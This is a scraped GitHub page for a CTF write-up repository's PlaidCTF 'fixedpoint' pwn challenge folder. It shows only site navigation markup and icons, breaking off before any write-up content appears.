<meta name="octolytics-dimension-user_id" content="11779726" /><meta name="octolytics-dimension-user_login" content="TUCTF" /><meta name="octolytics-dimension-repository_id" content="33342134" /><meta name="octolytics-dimension-repository_nwo" content="TUCTF/write-ups-2015" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="33342134" /><meta name="octolytics-dimension-repository_network_root_nwo" content="TUCTF/write-ups-2015" />
<link rel="canonical" href="https://github.com/TUCTF/write-ups-2015/tree/master/PlaidCTF/Pwn/fixedpoint" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="33342134" data-scoped-search-url="/TUCTF/write-ups-2015/search" data-owner-scoped-search-url="/orgs/TUCTF/search" data-unscoped-search-url="/search" data-turbo="false" action="/TUCTF/write-ups-2015/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="PP2SljlHaXcLaBKZGbFdhG7C02tDGQxYePsPXsyVw4wr3uH8Z4DvzWjOxkSeXa64RJFeiEK6JxCLI+dhkk9lFQ==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 